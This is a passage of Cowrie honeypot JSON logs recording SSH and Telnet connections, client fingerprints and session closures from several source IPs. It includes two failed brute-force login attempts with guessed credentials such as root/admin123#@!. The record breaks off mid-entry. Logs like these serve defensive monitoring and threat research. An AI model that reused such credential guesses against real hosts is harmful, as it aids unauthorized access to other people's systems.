{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:23.576869Z","src_ip":"194.59.206.2","session":"9d5d7079e72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:13:23.671218Z","src_ip":"194.59.206.2","session":"9d5d7079e72b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38716,"dst_ip":"159.203.135.109","dst_port":23,"session":"9756446e1287","protocol":"telnet","message":"New connection: 135.148.33.91:38716 (159.203.135.109:23) [session: 9756446e1287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:14:39.815534Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.204.114.164","src_port":54820,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ad373fbb34f","protocol":"telnet","message":"New connection: 190.204.114.164:54820 (159.203.135.109:23) [session: 6ad373fbb34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:14:40.447278Z"}
{"eventid":"cowrie.session.closed","duration":13.814924478530884,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:14:54.262055Z","src_ip":"190.204.114.164","session":"6ad373fbb34f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"218.0.56.78","src_port":36114,"dst_ip":"159.203.135.109","dst_port":22,"session":"c82493c1a560","protocol":"ssh","message":"New connection: 218.0.56.78:36114 (159.203.135.109:22) [session: c82493c1a560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:14:56.969507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:14:56.977774Z","src_ip":"218.0.56.78","session":"c82493c1a560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:14:57.202790Z","src_ip":"218.0.56.78","session":"c82493c1a560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123#@!","message":"login attempt [root/admin123#@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:14:58.106286Z","src_ip":"218.0.56.78","session":"c82493c1a560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:14:59.324674Z","src_ip":"218.0.56.78","session":"c82493c1a560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58006,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c449ee6b1cd","protocol":"telnet","message":"New connection: 135.148.33.91:58006 (159.203.135.109:23) [session: 4c449ee6b1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:15:11.174137Z"}
{"eventid":"cowrie.session.closed","duration":35.25852298736572,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:15:15.073944Z","src_ip":"135.148.33.91","session":"9756446e1287","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60652,"dst_ip":"159.203.135.109","dst_port":23,"session":"88a445bed133","protocol":"telnet","message":"New connection: 135.148.33.91:60652 (159.203.135.109:23) [session: 88a445bed133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:15:24.366793Z"}
{"eventid":"cowrie.session.closed","duration":35.22693705558777,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:15:46.400947Z","src_ip":"135.148.33.91","session":"4c449ee6b1cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791422367095947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:15:55.158081Z","src_ip":"135.148.33.91","session":"88a445bed133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40542,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad6af8787fbf","protocol":"telnet","message":"New connection: 135.148.33.91:40542 (159.203.135.109:23) [session: ad6af8787fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:16:21.129972Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39288,"dst_ip":"10.17.0.5","dst_port":23,"session":"842462cde9ad","protocol":"telnet","message":"New connection: 45.58.127.90:39288 (10.17.0.5:23) [session: 842462cde9ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:16:24.503083Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43350,"dst_ip":"159.203.135.109","dst_port":23,"session":"604a7a8ae72d","protocol":"telnet","message":"New connection: 135.148.33.91:43350 (159.203.135.109:23) [session: 604a7a8ae72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:16:29.837313Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57278,"dst_ip":"159.203.135.109","dst_port":23,"session":"150ea8c01aa3","protocol":"telnet","message":"New connection: 135.148.33.91:57278 (159.203.135.109:23) [session: 150ea8c01aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:16:48.996113Z"}
{"eventid":"cowrie.session.closed","duration":33.10212230682373,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:16:54.231976Z","src_ip":"135.148.33.91","session":"ad6af8787fbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.40749645233154,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:17:02.910435Z","src_ip":"45.58.127.90","session":"842462cde9ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.887919425964355,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:17:03.725087Z","src_ip":"135.148.33.91","session":"604a7a8ae72d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.940996170043945,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:17:24.937002Z","src_ip":"135.148.33.91","session":"150ea8c01aa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34988,"dst_ip":"159.203.135.109","dst_port":23,"session":"65a7ce5a4394","protocol":"telnet","message":"New connection: 135.148.33.91:34988 (159.203.135.109:23) [session: 65a7ce5a4394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:17:48.505588Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38560,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1084f20d00a","protocol":"telnet","message":"New connection: 135.148.33.91:38560 (159.203.135.109:23) [session: a1084f20d00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:17:52.676213Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44346,"dst_ip":"159.203.135.109","dst_port":23,"session":"2847f021ba94","protocol":"telnet","message":"New connection: 135.148.33.91:44346 (159.203.135.109:23) [session: 2847f021ba94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:18:03.496019Z"}
{"eventid":"cowrie.session.closed","duration":34.267675161361694,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:18:22.773158Z","src_ip":"135.148.33.91","session":"65a7ce5a4394","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.832995891571045,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:18:27.509078Z","src_ip":"135.148.33.91","session":"a1084f20d00a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.70382261276245,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:18:38.199724Z","src_ip":"135.148.33.91","session":"2847f021ba94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39262,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae0c19e006e4","protocol":"telnet","message":"New connection: 135.148.33.91:39262 (159.203.135.109:23) [session: ae0c19e006e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:18:43.324536Z"}
{"eventid":"cowrie.session.closed","duration":34.0530948638916,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:19:17.377327Z","src_ip":"135.148.33.91","session":"ae0c19e006e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40522,"dst_ip":"159.203.135.109","dst_port":23,"session":"14cf9e676137","protocol":"telnet","message":"New connection: 135.148.33.91:40522 (159.203.135.109:23) [session: 14cf9e676137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:19:32.026844Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45924,"dst_ip":"159.203.135.109","dst_port":23,"session":"21e3e5177526","protocol":"telnet","message":"New connection: 135.148.33.91:45924 (159.203.135.109:23) [session: 21e3e5177526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:19:40.628139Z"}
{"eventid":"cowrie.session.closed","duration":34.67394423484802,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:20:06.700634Z","src_ip":"135.148.33.91","session":"14cf9e676137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.12496376037598,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:20:14.752963Z","src_ip":"135.148.33.91","session":"21e3e5177526","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60868,"dst_ip":"159.203.135.109","dst_port":23,"session":"322149852ab7","protocol":"telnet","message":"New connection: 135.148.33.91:60868 (159.203.135.109:23) [session: 322149852ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:20:56.165418Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37820,"dst_ip":"159.203.135.109","dst_port":23,"session":"74c12d343fbb","protocol":"telnet","message":"New connection: 135.148.33.91:37820 (159.203.135.109:23) [session: 74c12d343fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:21:07.292829Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44032,"dst_ip":"159.203.135.109","dst_port":23,"session":"f729ad165ad4","protocol":"telnet","message":"New connection: 135.148.33.91:44032 (159.203.135.109:23) [session: f729ad165ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:21:18.384111Z"}
{"eventid":"cowrie.session.closed","duration":31.91526508331299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:21:28.080549Z","src_ip":"135.148.33.91","session":"322149852ab7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.50786375999451,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:21:40.800579Z","src_ip":"135.148.33.91","session":"74c12d343fbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35180,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d5188f92e63","protocol":"telnet","message":"New connection: 135.148.33.91:35180 (159.203.135.109:23) [session: 5d5188f92e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:21:51.845742Z"}
{"eventid":"cowrie.session.closed","duration":35.2760956287384,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:21:53.660072Z","src_ip":"135.148.33.91","session":"f729ad165ad4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":62908,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cb9ccfd2077","protocol":"ssh","message":"New connection: 194.59.206.2:62908 (159.203.135.109:22) [session: 1cb9ccfd2077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:22:17.040385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:22:17.066704Z","src_ip":"194.59.206.2","session":"1cb9ccfd2077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:22:17.143044Z","src_ip":"194.59.206.2","session":"1cb9ccfd2077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:22:17.315118Z","src_ip":"194.59.206.2","session":"1cb9ccfd2077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53710,"dst_ip":"159.203.135.109","dst_port":23,"session":"91370a16266d","protocol":"telnet","message":"New connection: 135.148.33.91:53710 (159.203.135.109:23) [session: 91370a16266d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:22:22.273157Z"}
{"eventid":"cowrie.session.closed","duration":32.26291036605835,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:22:24.108543Z","src_ip":"135.148.33.91","session":"5d5188f92e63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41402,"dst_ip":"159.203.135.109","dst_port":23,"session":"b70712434329","protocol":"telnet","message":"New connection: 135.148.33.91:41402 (159.203.135.109:23) [session: b70712434329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:22:50.303886Z"}
{"eventid":"cowrie.session.closed","duration":35.316415548324585,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:22:57.589475Z","src_ip":"135.148.33.91","session":"91370a16266d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.77778673171997,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:23:24.081532Z","src_ip":"135.148.33.91","session":"b70712434329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"218.0.56.78","src_port":51120,"dst_ip":"159.203.135.109","dst_port":22,"session":"50aa22fb52c2","protocol":"ssh","message":"New connection: 218.0.56.78:51120 (159.203.135.109:22) [session: 50aa22fb52c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:06.120674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:06.130503Z","src_ip":"218.0.56.78","session":"50aa22fb52c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:06.351434Z","src_ip":"218.0.56.78","session":"50aa22fb52c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svn","password":"svnuser","message":"login attempt [svn/svnuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:07.237689Z","src_ip":"218.0.56.78","session":"50aa22fb52c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:08.479059Z","src_ip":"218.0.56.78","session":"50aa22fb52c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55320,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfef10639824","protocol":"telnet","message":"New connection: 135.148.33.91:55320 (159.203.135.109:23) [session: cfef10639824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:09.353015Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.176.142","src_port":49194,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3e1f41a05b0","protocol":"ssh","message":"New connection: 31.42.176.142:49194 (10.17.0.5:22) [session: b3e1f41a05b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.024050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.030229Z","src_ip":"31.42.176.142","session":"b3e1f41a05b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512